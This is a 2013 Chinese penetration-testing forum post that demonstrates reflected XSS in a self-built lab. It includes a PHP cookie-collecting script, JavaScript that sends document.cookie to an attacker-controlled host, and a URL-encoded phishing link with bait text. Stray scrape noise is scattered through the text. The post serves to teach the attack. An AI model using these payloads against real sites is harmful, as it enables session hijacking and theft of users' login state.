中国网络渗透测试联盟

标题: 反射型xss实战演示 [打印本页]

---

作者: admin    时间: 2013-4-4 17:50
标题: 反射型xss实战演示
我们知道，XSS攻击大致分为三种类型 ：Persistent型（持久型），Non-persistent（反射型）及Dom-based型。而反射型是最常用，也是使用得最广的一种攻击方式。它通过给别人发送带有恶意脚本代码参数的URL，当URL地址被打开时，特有的恶意代码参数被HTML解析、执行。它的特点是非持久化，必须用户点击带有特定参数的链接才能引起。

今天，通过一个反射型xss的实战演示，让大家详细了解这种攻击方式。

准备工作：

（1） 一个有反射型xss漏洞的网站（自己搭的虚拟站点，域名为xsstest.qq.com）,该域名下有一个首页（index.html）,一个登陆页面（login.html）,一个登陆的cgi（login.php），一个用于搜索的cgi（search.php）。界面如下：
http://www.myhack58.com/Article/UploadPic/2013-4/201344153124203.png
! O# Q( c) ]3 d8 [# p: J  ], G 由于xss漏洞一般发生于与用户交互的地方，因此搜索框是我们关注的重点。

（2）我们自己的黑客网站（另一个虚拟站点 hacker.qq.com）。该域名下有一个hack.php，用以收集用户的cookie，一个hacker.js用以向hack.php发请求。

发现漏洞

我们首先需要找出站点的xss漏洞发生在什么地方，上面提到，与用户交互的地方是我们的主要关注点。。好，现在我们随意输入几个字符“计算机”，点击搜索：

搜索界面如下（这是自己写的一个简陋的搜索界面）：

http://www.myhack58.com/Article/UploadPic/2013-4/201344153125480.png
0 R/ v/ b7 n0 P5 p

这里发现了我们输入的字符出现在了搜索界面上（很多电商网站应该都是这种界面页面形式吧）。。好，这次我们输入一些特殊字符来试试“<script>alert(1)</script>”，点击搜索：

http://www.myhack58.com/Article/UploadPic/2013-4/201344153125611.png
$ O- j0 L# P6 n
! ^$ U0 H+ d# R5 a6 O7 N5 ~

出现了我们心仪的小弹窗，看来search.php未对用户输入的关键词作任何处理，便直接输出到界面上，既然xss漏洞出现，那么便可以开始实施攻击了，这次攻击的目的是盗取用户的cookie。

实施攻击

首先我们来写我们自己的手机cookie CGI（hack.php），代码如下：
( b8 U! |  r' |! Y# @
( d  |) y; A2 W: h

[php] view plaincopy http://www.kindsoft.net/ke4/themes/common/blank.gif
9 Z( f7 \: b# w% n! i8 Y

3 |" U8 D3 x7 N$ L

• <?php
• $cookie = $_GET['q'];
• var_dump($cookie);
• $myFile = "cookie.txt";
• file_put_contents($myFile, $cookie);
• ?>
  

4 O  I/ ~3 n8 V, H& P
+ n* x. X& c" W接着写发送请求的hacker.js,代码如下：

var img = new Image();
$ u9 }( J. [, Y/ P7 h8 Z  R* kimg.src = "http://hacker.qq.com/hack.php?q="+document.cookie;
document.body.append(img);

好的，现在可以构造一个连接来欺骗用户了：

<a href="http://xsstest.qq.com/search.php?q=%3Cscript+src%3Dhttp%3A%2F%2Fhacker.qq.com%2Fhacker.js%3E%3C%2Fscript%3E&commend=all&ssid=s5-e&search_type=item&atype=&filterFineness=&rr=1&pcat=food2011&style=grid&cat=">点击就送998</a>

9 L) g& M$ d% n" e0 |

看search.php 后的q参数 ,解码后为<script src="http://hacker.qq.com/hacker.js"></script>实际的作用是模拟用户在搜索框中输入<script src="http://hacker.qq.com/hacker.js"></script>后点击搜索。search.php未经处理的将其直接输入到页面，使其在html文档中有了新的语义。它会加载hacker.qq.com域下的haker.js。

好，当用户登陆了网站后，再欺骗用户点击这个链接，这时候，看hacker.qq.com域下，发现多了一个cookie.txt文件，打开来：

http://www.myhack58.com/Article/UploadPic/2013-4/201344153126655.png

$ V( D: p. ?, }9 I1 D8 ~9 ~5 |$ b

发现用户用于登陆的账号，密码都在内，密码是经过加密的。。OK，现在我们便可以拿着这个cookie来获取用户的登陆态了。

整个攻击过程结束。

4 n3 U- m: I4 P, F  E2 ^

当然，现实过程中，很少有网站有如此明显的xss漏洞。。这里只是给大家示范了一下反射型xss的原理，现实中的漏洞虽然五花八门，但是本质是不变的。。大家可以进一步研究。

​

+ H3 t1 U" _: a- I9 y

---

欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)

Powered by Discuz! X3.2